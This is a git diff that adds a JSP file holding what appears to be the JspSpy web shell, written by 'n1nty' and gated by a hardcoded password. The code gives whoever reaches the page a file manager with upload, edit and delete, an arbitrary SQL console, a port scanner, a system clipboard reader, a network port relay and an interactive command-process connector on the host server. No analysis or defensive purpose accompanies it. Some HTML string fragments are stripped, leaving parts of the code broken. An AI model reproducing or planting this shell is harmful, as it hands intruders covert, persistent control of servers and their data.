diff --git a/jsp/0000.jsp b/jsp/0000.jsp new file mode 100644 index 0000000..ff0b2aa --- /dev/null +++ b/jsp/0000.jsp @@ -0,0 +1,3312 @@ +<%@page pageEncoding="utf-8"%> +<%@page import="java.io.*"%> +<%@page import="java.util.*"%> +<%@page import="java.util.regex.*"%> +<%@page import="java.sql.*"%> +<%@page import="java.lang.reflect.*"%> +<%@page import="java.nio.charset.*"%> +<%@page import="javax.servlet.http.HttpServletRequestWrapper"%> +<%@page import="java.text.*"%> +<%@page import="java.net.*"%> +<%@page import="java.util.zip.*"%> +<%@page import="java.util.jar.*"%> +<%@page import="java.awt.*"%> +<%@page import="java.awt.image.*"%> +<%@page import="javax.imageio.*"%> +<%@page import="java.awt.datatransfer.DataFlavor"%> +<%@page import="java.util.prefs.Preferences"%> +<%! +/** +* by n1nty +* CY . I Love You. +*/ +private static final String PW = "shang"; //password +private static final String PW_SESSION_ATTRIBUTE = "JspSpyPwd"; +private static final String REQUEST_CHARSET = "ISO-8859-1"; +private static final String PAGE_CHARSET = "UTF-8"; +private static final String CURRENT_DIR = "currentdir"; +private static final String MSG = "SHOWMSG"; +private static final String PORT_MAP = "PMSA"; +private static final String DBO = "DBO"; +private static final String SHELL_ONLINE = "SHELL_ONLINE"; +private static final String ENTER = "ENTER_FILE"; +private static final String ENTER_MSG = "ENTER_FILE_MSG"; +private static final String ENTER_CURRENT_DIR = "ENTER_CURRENT_DIR"; +private static final String SESSION_O = "SESSION_O"; +private static String SHELL_NAME = ""; +private static String WEB_ROOT = null; +private static String SHELL_DIR = null; +public static Map ins = new HashMap(); +private static boolean ISLINUX = false; + +private static final String MODIFIED_ERROR = "JspSpy Was Modified By Some Other Applications. Please Logout."; +private static final String BACK_HREF = " Back"; + +private static class MyRequest extends HttpServletRequestWrapper { +public MyRequest(HttpServletRequest req) { +super(req); +} +public String getParameter(String name) { +try { +String value = super.getParameter(name); +if (name == null) +return null; +return new String(value.getBytes(REQUEST_CHARSET),PAGE_CHARSET); +} catch (Exception e) { +return null; +} +} +} +private static class SpyClassLoader extends ClassLoader{ +public SpyClassLoader() { +} +public Class defineClass(String name,byte[] b) { +return super.defineClass(name,b,0,b.length - 2); +} +} +private static class DBOperator{ +private Connection conn = null; +private Statement stmt = null; +private String driver; +private String url; +private String uid; +private String pwd; +public DBOperator(String driver,String url,String uid,String pwd) throws Exception { +this(driver,url,uid,pwd,false); +} +public DBOperator(String driver,String url,String uid,String pwd,boolean connect) throws Exception { +Class.forName(driver); +if (connect) +this.conn = DriverManager.getConnection(url,uid,pwd); +this.url = url; +this.driver = driver; +this.uid = uid; +this.pwd = pwd; +} +public void connect() throws Exception{ +this.conn = DriverManager.getConnection(url,uid,pwd); +} +public Object execute(String sql) throws Exception { +if (isValid()) { +stmt = conn.createStatement(); +if (stmt.execute(sql)) { +return stmt.getResultSet(); +} else { +return ""+stmt.getUpdateCount(); +} +} +throw new Exception("Connection is inValid."); +} +public void closeStmt() throws Exception{ +if (this.stmt != null) +stmt.close(); +} +public boolean isValid() throws Exception { +return conn != null && !conn.isClosed(); +} +public void close() throws Exception { +if (isValid()) { +closeStmt(); +conn.close(); +} +} +public boolean equals(Object o) { +if (o instanceof DBOperator) { +DBOperator dbo = (DBOperator)o; +return this.driver.equals(dbo.driver) && this.url.equals(dbo.url) && this.uid.equals(dbo.uid) && this.pwd.equals(dbo.pwd); +} +return false; +} +public Connection getConn(){ +return this.conn; +} +} +private static class StreamConnector extends Thread { +private InputStream is; +private OutputStream os; +public StreamConnector( InputStream is, OutputStream os ){ +this.is = is; +this.os = os; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[8192]; +int length; +while((length = in.read( buffer, 0, buffer.length ))>0){ +out.write( buffer, 0, length ); +out.flush(); +} +} catch(Exception e){} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){} +} +public static void readFromLocal(final DataInputStream localIn,final DataOutputStream remoteOut){ +new Thread(new Runnable(){ +public void run(){ +while (true) { +try{ +byte[] data = new byte[100]; +int len = localIn.read(data); +while (len != -1) { +remoteOut.write(data,0,len); +len = localIn.read(data); +} +}catch (Exception e) { +break; +} +} +} +}).start(); +} +public static void readFromRemote(final Socket soc,final Socket remoteSoc,final DataInputStream remoteIn,final DataOutputStream localOut){ +new Thread(new Runnable(){ +public void run(){ +while(true) { +try{ +byte[] data = new byte[100]; +int len = remoteIn.read(data); +while (len != -1) { +localOut.write(data,0,len); +len = remoteIn.read(data); +} +}catch (Exception e) { +try{ +soc.close(); +remoteSoc.close(); +}catch(Exception ex) { +} +break; +} +} +} +}).start(); +} +} +private static class EnterFile extends File{ +private ZipFile zf = null; +private ZipEntry entry = null; +private boolean isDirectory = false; +private String absolutePath = null; +public void setEntry(ZipEntry e) { +this.entry = e; +} +public void setAbsolutePath(String p) { +this.absolutePath = p; +} +public void close() throws Exception{ +this.zf.close(); +} +public void setZf(String p) throws Exception{ +if (p.toLowerCase().endsWith(".jar")) +this.zf = new JarFile(p); +else +this.zf = new ZipFile(p); +} +public EnterFile(File parent, String child) { +super(parent,child); +} +public EnterFile(String pathname) { +super(pathname); +} +public EnterFile(String pathname,boolean isDir) { +this(pathname); +this.isDirectory = isDir; +} +public EnterFile(String parent, String child) { +super(parent,child); +} +public EnterFile(URI uri) { +super(uri); +} +public boolean exists(){ +return new File(this.zf.getName()).exists(); +} +public File[] listFiles() { +java.util.List list = new ArrayList(); +java.util.List handled = new ArrayList(); +String currentDir = super.getPath(); +currentDir = currentDir.replace('\\','/'); +if (currentDir.indexOf("/") == 0) +{ +if (currentDir.length() > 1) +currentDir = currentDir.substring(1); +else +currentDir = ""; +} +Enumeration e = this.zf.entries(); +while (e.hasMoreElements()) +{ +ZipEntry entry = (ZipEntry)e.nextElement(); +String eName = entry.getName(); +if (this.zf instanceof JarFile) { +if (!entry.isDirectory()){ +EnterFile ef = new EnterFile(eName); +ef.setEntry(entry); +try{ +ef.setZf(this.zf.getName()); +}catch(Exception ex) { +} +list.add(ef); +} +} else { +if (currentDir.equals("")) { +//zip root directory +if (eName.indexOf("/") == -1 || eName.matches("[^/]+/$")) +{ +EnterFile ef = new EnterFile(eName.replaceAll("/","")); +handled.add(eName.replaceAll("/","")); +ef.setEntry(entry); +list.add(ef); +} else { +if (eName.indexOf("/") != -1) { +String tmp = eName.substring(0,eName.indexOf("/")); +if (!handled.contains(tmp) && !Util.isEmpty(tmp)) { +EnterFile ef = new EnterFile(tmp,true); +ef.setEntry(entry); +list.add(ef); +handled.add(tmp); +} +} +} +} else { +if (eName.startsWith(currentDir)) { +if (eName.matches(currentDir+"/[^/]+/?$")) { +//file. +EnterFile ef = new EnterFile(eName); +ef.setEntry(entry); +list.add(ef); +if (eName.endsWith("/")) { +String tmp = eName.substring(eName.lastIndexOf('/',eName.length()-2)); +tmp = tmp.substring(1,tmp.length()-1); +handled.add(tmp); +} +} else { +//dir +try { +String tmp = eName.substring(currentDir.length()+1); +tmp = tmp.substring(0,tmp.indexOf('/')); +if (!handled.contains(tmp) && !Util.isEmpty(tmp)) { +EnterFile ef = new EnterFile(tmp,true); +ef.setAbsolutePath(currentDir+"/"+tmp); +ef.setEntry(entry); +list.add(ef); +handled.add(tmp); +} +} catch (Exception ex) { +} +} +} +} +} +} +return (File[])list.toArray(new File[0]); +} +public boolean isDirectory(){ +return this.entry.isDirectory() || this.isDirectory; +} +public String getParent(){ +return ""; +} +public String getAbsolutePath(){ +return absolutePath != null ? absolutePath : super.getPath(); +} +public String getName(){ +if (this.zf instanceof JarFile) { +return this.getAbsolutePath(); +} else { +return super.getName(); +} +} +public long lastModified(){ +return entry.getTime(); +} +public boolean canRead(){ +return false; +} +public boolean canWrite(){ +return false; +} +public boolean canExecute(){ +return false; +} +public long length(){ +return entry.getSize(); +} +} +private static class OnLineProcess { +private String cmd = "first"; +private Process pro; +public OnLineProcess(Process p){ +this.pro = p; +} +public void setPro(Process p) { +this.pro = p; +} +public void setCmd(String c){ +this.cmd = c; +} +public String getCmd(){ +return this.cmd; +} +public Process getPro(){ +return this.pro; +} +public void stop(){ +this.pro.destroy(); +} +} +private static class OnLineConnector extends Thread { +private OnLineProcess ol = null; +private InputStream is; +private OutputStream os; +private String name; +public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){ +this.is = is; +this.os = os; +this.name = name; +this.ol = ol; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[128]; +if(this.name.equals("exeRclientO")) { +//from exe to client +int length = 0; +while((length = in.read( buffer, 0, buffer.length ))>0){ +String str = new String(buffer, 0, length); +str = str.replaceAll("&","&").replaceAll("<","<").replaceAll(">",">"); +str = str.replaceAll(""+(char)13+(char)10,"
"); +str = str.replaceAll("\n","
"); +out.write(str.toCharArray(), 0, str.length()); +out.flush(); +} +} else { +//from client to exe +while(true) { +while(this.ol.getCmd() == null) { +Thread.sleep(500); +} +if (this.ol.getCmd().equals("first")) { +this.ol.setCmd(null); +continue; +} +this.ol.setCmd(this.ol.getCmd() + (char)10); +char[] arr = this.ol.getCmd().toCharArray(); +out.write(arr,0,arr.length); +out.flush(); +this.ol.setCmd(null); +} +} +} catch(Exception e){ +} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){ +} +} +} +private static class Table{ +private ArrayList rows = null; +private boolean echoTableTag = false; +public void setEchoTableTag(boolean v) { +this.echoTableTag = v; +} +public Table(){ +this.rows = new ArrayList(); +} +public void addRow(Row r) { +this.rows.add(r); +} +public String toString(){ +StringBuffer html = new StringBuffer(); +if (echoTableTag) +html.append(""); +for (int i = 0;i"); + ArrayList columns = r.getColumns(); +for (int a = 0;a"); +String vv = Util.htmlEncode(Util.getStr(c.getValue())); +if (vv.equals("")) +vv = " "; +html.append(vv); +html.append(""); +} +html.append(""); +} +if (echoTableTag) +html.append("
"); +return html.toString(); +} +public static String rs2Table(ResultSet rs,String sep,boolean op) throws Exception{ +StringBuffer table = new StringBuffer(); +ResultSetMetaData meta = rs.getMetaData(); +int count = meta.getColumnCount(); +if (!op) +table.append(" View Struct - View All Tables

"); +else +table.append(" All Tables

"); +table.append(""); +table.append(""); +for (int i = 1;i<=count;i++) { +table.append(""); +} +if (op) +table.append(""); +table.append(""); +while (rs.next()) { +String tbName = null; +table.append(""); +for (int i = 1;i<=count;i++) { +String v = rs.getString(i); +if (i == 3) +tbName = v; +table.append(""); +} +if (op) +table.append(""); +table.append(""); +} +table.append("
"+meta.getColumnName(i)+" 
"+Util.null2Nbsp(v)+" View | Struct | Export | Save To File

"); +return table.toString(); +} +} +private static class Row{ +private ArrayList cols = null; +public Row(){ +this.cols = new ArrayList(); +} +public void addColumn(Column n) { +this.cols.add(n); +} +public ArrayList getColumns(){ +return this.cols; +} +} +private static class Column{ +private String value; +public Column(String v){ +this.value = v; +} +public String getValue(){ +return this.value; +} +} +private static class Util{ +public static boolean isEmpty(String s) { +return s == null || s.trim().equals(""); +} +public static boolean isEmpty(Object o) { +return o == null || isEmpty(o.toString()); +} +public static String getSize(long size,char danwei) { +if (danwei == 'M') { +double v = formatNumber(size / 1024.0 / 1024.0,2); +if (v > 1024) { +return getSize(size,'G'); +}else { +return v + "M"; +} +} else if (danwei == 'G') { +return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G"; +} else if (danwei == 'K') { +double v = formatNumber(size / 1024.0,2); +if (v > 1024) { +return getSize(size,'M'); +} else { +return v + "K"; +} +} else if (danwei == 'B') { +if (size > 1024) { +return getSize(size,'K'); +}else { +return size + "B"; +} +} +return ""+0+danwei; +} +public static boolean exists(String[] arr,String v) { +for (int i =0;i",">"); +} +public static String getStr(String s) { +return s == null ? "" :s; +} +public static String null2Nbsp(String s) { +if (s == null) +s = " "; +return s; +} +public static String getStr(Object s) { +return s == null ? "" :s.toString(); +} +public static String exec(String regex, String str, int group) { +Pattern pat = Pattern.compile(regex); +Matcher m = pat.matcher(str); +if (m.find()) +return m.group(group); +return null; +} +public static void outMsg(Writer out,String msg) throws Exception { +outMsg(out,msg,"center"); +} +public static void outMsg(Writer out,String msg,String align) throws Exception { +out.write("
"+msg+"
"); +} +public static String highLight(String str) { +str = str.replaceAll("\\b(abstract|package|String|byte|static|synchronized|public|private|protected|void|int|long|double|boolean|float|char|final|extends|implements|throw|throws|native|class|interface|emum)\\b","$1"); +str = str.replaceAll("\t(//.+)","\t$1"); +return str; +} +} +private static class UploadBean { +private String fileName = null; +private String suffix = null; +private String savePath = ""; +private ServletInputStream sis = null; +private OutputStream targetOutput = null; +private byte[] b = new byte[1024]; +public void setTargetOutput(OutputStream stream) { +this.targetOutput = stream; +} +public UploadBean() { +} +public void setSavePath(String path) { +this.savePath = path; +} +public String getFileName(){ +return this.fileName; +} +public void parseRequest(HttpServletRequest request) throws IOException { +sis = request.getInputStream(); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!= -1) { +s = new String(b, 0, a,PAGE_CHARSET); +if ((k = s.indexOf("filename=\""))!= -1) { +s = s.substring(k + 10); +k = s.indexOf("\""); +s = s.substring(0, k); +File tF = new File(s); +if (tF.isAbsolute()) { +fileName = tF.getName(); +} else { +fileName = s; +} +k = s.lastIndexOf("."); +suffix = s.substring(k + 1); +upload(); +} +} +} +private void upload() throws IOException{ +try { +OutputStream out = null; +if (this.targetOutput != null) +out = this.targetOutput; +else +out = new FileOutputStream(new File(savePath,fileName)); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!=-1) { +s = new String(b, 0, a); +if ((k = s.indexOf("Content-Type:"))!=-1) { +break; +} +} +sis.readLine(b,0,b.length); +while ((a = sis.readLine(b,0,b.length)) != -1) { +s = new String(b, 0, a); +if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { +break; +} +out.write(b, 0, a); +} +if (out instanceof FileOutputStream) +out.close(); +} catch (IOException ioe) { +throw ioe; +} +} +} +%> +<% +SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1); +String myAbsolutePath = application.getRealPath(request.getServletPath()); +if (Util.isEmpty(myAbsolutePath)) {//for weblogic +SHELL_NAME = request.getServletPath(); +myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString(); +SHELL_NAME=request.getContextPath()+SHELL_NAME; +WEB_ROOT = new File(application.getResource("/").getPath()).toString(); +} else { +WEB_ROOT = application.getRealPath("/"); +} +SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator))); +if (SHELL_DIR.indexOf('/') == 0) +ISLINUX = true; +else +ISLINUX = false; +if (session.getAttribute(CURRENT_DIR) == null) +session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR)); +request = new MyRequest(request); +if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) { +String o = request.getParameter("o"); +if (o != null && o.equals("login")) { +((Invoker)ins.get("login")).invoke(request,response,session); +return; +} else if (o != null && o.equals("vLogin")) { +((Invoker)ins.get("vLogin")).invoke(request,response,session); +return; +} else { +((Invoker)ins.get("vLogin")).invoke(request,response,session); +return; +} +} +%> +<%! +private static interface Invoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception; +public boolean doBefore(); +public boolean doAfter(); +} +private static class DefaultInvoker implements Invoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +} +public boolean doBefore(){ +return true; +} +public boolean doAfter() { +return true; +} +} +private static class ScriptInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); + +} catch (Exception e) { + +throw e ; +} +} +} +private static class BeforeInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("JspSpy Private Codz By - Ninty"); +} catch (Exception e) { + +throw e ; +} +} +} +private static class AfterInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +} catch (Exception e) { + +throw e ; +} +} +} +private static class DeleteBatchInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +int success = 0; +int failed = 0; +if (!Util.isEmpty(files)) { +String currentDir = JSession.getAttribute(CURRENT_DIR).toString(); +String[] arr = files.split(","); +for (int i = 0;iSuccess , "+failed+" Files Deleted Failed!"); +response.sendRedirect(SHELL_NAME); +} catch (Exception e) { + +throw e ; +} +} +} +private static class ClipBoardInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"
"+ +"

System Clipboard »

"+ +"

");
+try{
+out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getContents(DataFlavor.stringFlavor).getTransferData(DataFlavor.stringFlavor))));
+}catch (Exception ex) {
+out.println("ClipBoard is Empty Or Is Not Text Data !");
+}
+out.println("
"+ +" "+ +"

"+ +"
"); +} catch (Exception e) { + +throw e ; +} +} +} +private static class VPortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +String banner = request.getParameter("banner"); +if (Util.isEmpty(ip)) +ip = "127.0.0.1"; +if (Util.isEmpty(ports)) +ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"; +if (Util.isEmpty(timeout)) +timeout = "2"; +out.println("
"+ +"

PortScan >>

"+ +"
"+ +"

"+ +"IP : Port : Banner Timeout (Second) : "+ +"

"+ +"
"+ +"
"); +} catch (Exception e) { + +throw e ; +} +} +} +private static class PortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +((Invoker)ins.get("vPortScan")).invoke(request,response,JSession); +out.println("
"); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +String banner = request.getParameter("banner"); +int iTimeout = 0; +if (Util.isEmpty(ip) || Util.isEmpty(ports)) +return; +if (!Util.isInteger(timeout)) { +timeout = "2"; +} +iTimeout = Integer.parseInt(timeout); +Map rs = new LinkedHashMap(); +String[] portArr = ports.split(","); +for (int i =0;i"+sb.toString()+""); +r.close(); +} else { +rs.put(port,"Open"); +} +s.close(); +} catch (Exception e) { +if (e.toString().toLowerCase().indexOf("read timed out")!=-1) { +rs.put(port,"Open <<No Banner!>>"); +if (r != null) +r.close(); +} else { +rs.put(port,"Close"); +} +} +} +out.println("
"); +Set entrySet = rs.entrySet(); + Iterator it = entrySet.iterator(); + while (it.hasNext()) { + Map.Entry e = (Map.Entry)it.next(); + String port = (String)e.getKey(); + String value = (String)e.getValue(); +out.println(ip+" : "+port+" ................................. "+value+"
"); +} +out.println("
"); +} catch (Exception e) { + +throw e ; +} +} +} +private static class VConnInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +Object obj = JSession.getAttribute(DBO); +if (obj == null || !((DBOperator)obj).isValid()) { +out.println(" "); +out.println("
"+ +"
"+ +""+ +"

DataBase Manager »

"+ +""+ +"

"+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

"+ +"
"); +} else { +((Invoker)ins.get("dbc")).invoke(request,response,JSession); +} +} catch (ClassCastException e) { +throw e; +} catch (Exception e) { + +throw e ; +} +} +} +//DBConnect +private static class DbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String driver = request.getParameter("driver"); +String url = request.getParameter("url"); +String uid = request.getParameter("uid"); +String pwd = request.getParameter("pwd"); +String sql = request.getParameter("sql"); +String selectDb = request.getParameter("selectDb"); +if (selectDb == null) +selectDb = JSession.getAttribute("selectDb").toString(); +else +JSession.setAttribute("selectDb",selectDb); +Object dbo = JSession.getAttribute(DBO); +if (dbo == null || !((DBOperator)dbo).isValid()) { +if (dbo != null) +((DBOperator)dbo).close(); +dbo = new DBOperator(driver,url,uid,pwd,true); +} else { +if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) { +DBOperator oldDbo = (DBOperator)dbo; +dbo = new DBOperator(driver,url,uid,pwd); +if (!oldDbo.equals(dbo)) { +((DBOperator)oldDbo).close(); +((DBOperator)dbo).connect(); +} else { +dbo = oldDbo; +} +} +} +DBOperator Ddbo = (DBOperator)dbo; +JSession.setAttribute(DBO,Ddbo); +if (!Util.isEmpty(request.getParameter("type")) && request.getParameter("type").equals("switch")) { +Ddbo.getConn().setCatalog(request.getParameter("catalog")); +} +Util.outMsg(out,"Connect To DataBase Success!"); +out.println(" "); +out.println("
"+ +"
"+ +""+ +"

DataBase Manager »

"+ +""+ +"

"+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

"+ +"
"); +DatabaseMetaData meta = Ddbo.getConn().getMetaData(); +out.println("
"+ +"

Version : "+meta.getDatabaseProductName()+" , "+meta.getDatabaseProductVersion()+"
URL : "+meta.getURL()+"
Catalog : "+Ddbo.getConn().getCatalog()+"
UserName : "+meta.getUserName()+"

Run SQL query/queries on database / Switch Database : "); +out.println("

"); +if (Util.isEmpty(sql)) { +String type = request.getParameter("type"); +if (Util.isEmpty(type) || type.equals("switch")) { +ResultSet tbs = meta.getTables(null,null,null,null); +out.println(Table.rs2Table(tbs,meta.getIdentifierQuoteString(),true)); +tbs.close(); +} else if (type.equals("struct")) { +String tb = request.getParameter("table"); +if (Util.isEmpty(tb)) +return; +ResultSet t = meta.getColumns(null,null,tb,null); +out.println(Table.rs2Table(t,"",false)); +t.close(); +} +} +} catch (Exception e) { +JSession.setAttribute(MSG,"Some Error Occurred. Please Check Out the StackTrace Follow."+BACK_HREF); +throw e; +} +} +} +private static class ExecuteSQLInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String sql = request.getParameter("sql"); +String db = request.getParameter("selectDb"); +Object dbo = JSession.getAttribute(DBO); +if (!Util.isEmpty(sql)) { +if (dbo == null || !((DBOperator)dbo).isValid()) { +((Invoker)ins.get("vConn")).invoke(request,response,JSession); +return; +} else { +((Invoker)ins.get("dbc")).invoke(request,response,JSession); +Object obj = ((DBOperator)dbo).execute(sql); +if (obj instanceof ResultSet) { +ResultSet rs = (ResultSet)obj; +ResultSetMetaData meta = rs.getMetaData(); +int colCount = meta.getColumnCount(); +out.println("Query#0 : "+Util.htmlEncode(sql)+"

"); +out.println(""); +for (int i=1;i<=colCount;i++) { +out.println(""); +} +out.println(""); +Table tb = new Table(); +while(rs.next()) { +Row r = new Row(); +for (int i = 1;i<=colCount;i++) { +String v = null; +try { +v = rs.getString(i); +} catch (SQLException ex) { +v = "<>"; +} +r.addColumn(new Column(v)); +} +tb.addRow(r); +} +out.println(tb.toString()); +out.println("
"+meta.getColumnName(i)+"
"+meta.getColumnTypeName(i)+"

"); +rs.close(); +((DBOperator)dbo).closeStmt(); +} else { +out.println("affected rows : "+obj+"

"); +} +} +} else { +((Invoker)ins.get("dbc")).invoke(request,response,JSession); +} +} catch (Exception e) { + +throw e ; +} +} +} +private static class VLoginInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("jspspy
"+ +""+ +"

Password: "+ +" "+ +" "+ +" "+ +"
"+ +"

"+ +"
CY... I Love You. I Do! by n1nty 2010/8/18"); +} catch (Exception e) { + +throw e ; +} +} +} +private static class LoginInvoker extends DefaultInvoker{ +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String inputPw = request.getParameter("pw"); +if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) { +((Invoker)ins.get("vLogin")).invoke(request,response,JSession); +return; +} else { +JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw); +response.sendRedirect(SHELL_NAME); +return; +} +} catch (Exception e) { + +throw e ; +} +} +} +private static class MyComparator implements Comparator{ +public int compare(Object obj1,Object obj2) { + try { + if (obj1 != null && obj2 != null) { + File f1 = (File)obj1; + File f2 = (File)obj2; + if (f1.isDirectory()) { + if (f2.isDirectory()) { + return f1.getName().compareTo(f2.getName()); + } else { + return -1; + } + } else { + if (f2.isDirectory()) { + return 1; + } else { + return f1.getName().toLowerCase().compareTo(f2.getName().toLowerCase()); + } + } + } + return 0; + } catch (Exception e) { + return 0; + } +} +} +private static class FileListInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +try { +String path2View = null; +PrintWriter out = response.getWriter(); +String path = request.getParameter("folder"); +String outEntry = request.getParameter("outentry"); +if (!Util.isEmpty(outEntry) && outEntry.equals("true")) { +JSession.removeAttribute(ENTER); +JSession.removeAttribute(ENTER_MSG); +JSession.removeAttribute(ENTER_CURRENT_DIR); +} +Object enter = JSession.getAttribute(ENTER); +File file = null; +if (!Util.isEmpty(enter)) { +if (Util.isEmpty(path)) { +if (JSession.getAttribute(ENTER_CURRENT_DIR) == null) +path = "/"; +else +path = (String)(JSession.getAttribute(ENTER_CURRENT_DIR)); +} +file = new EnterFile(path); +((EnterFile)file).setZf((String)enter); +JSession.setAttribute(ENTER_CURRENT_DIR,path); +} else { +if (Util.isEmpty(path)) +path = JSession.getAttribute(CURRENT_DIR).toString(); +JSession.setAttribute(CURRENT_DIR,Util.convertPath(path)); +file = new File(path); +} +path2View = Util.convertPath(path); +if (!file.exists()) { +throw new Exception(path+"Dont Exists !"); +} +File[] list = file.listFiles(); +Arrays.sort(list,new MyComparator()); +out.println("
"); +String cr = null; +try { +cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3); +}catch(Exception e) { +cr = "/"; +} +File currentRoot = new File(cr); +out.println("

File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)

"); +out.println("
"+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
Current Directory
"+ +"
"); +out.println(""+ +""+ +""+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +""); +if (file.getParent() != null) { +out.println(""+ +""+ +""+ +""); +} +int dircount = 0; +int filecount = 0; +for (int i = 0;i"+ +""+ +""+ +""+ +""+ +""+ +""); +} else { +filecount++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""); +} +} +out.println(""+ +" "+ +" "+ +"
"+ +"
"+ +"Web Root"+ +" | Shell Directory"+ +" | New Directory | New File"+ +" | "); +File[] roots = file.listRoots(); +for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")"); +if (i != roots.length -1) { +out.println("|"); +} +} +out.println("
 NameLast ModifiedSizeRead/Write/Execute 
=Goto Parent
0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / unknow"); +if (enter != null) +out.println(" "); +else +out.println("Del | Move | Pack"); +out.println("
"+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+ +""+f.canRead()+" / "+f.canWrite()+" / unknow "+ +"Edit | "+ +"Down | "+ +"Copy"); +if (enter == null ) { +out.println(" | Move | "+ +"Property | "+ +"Enter"); +if (f.getName().endsWith(".zip") || f.getName().endsWith(".jar")) { +out.println(" | UnPack"); +} else if (f.getName().endsWith(".rar")) { +out.println(" | UnPack"); +} else { +out.println(" | Pack"); +} +} +out.println("
 "); +if (enter != null) +out.println("Pack Selected - Delete Selected"); +else +out.println("Pack Selected - Delete Selected"); +out.println(""+dircount+" directories / "+filecount+" files
"); +out.println("
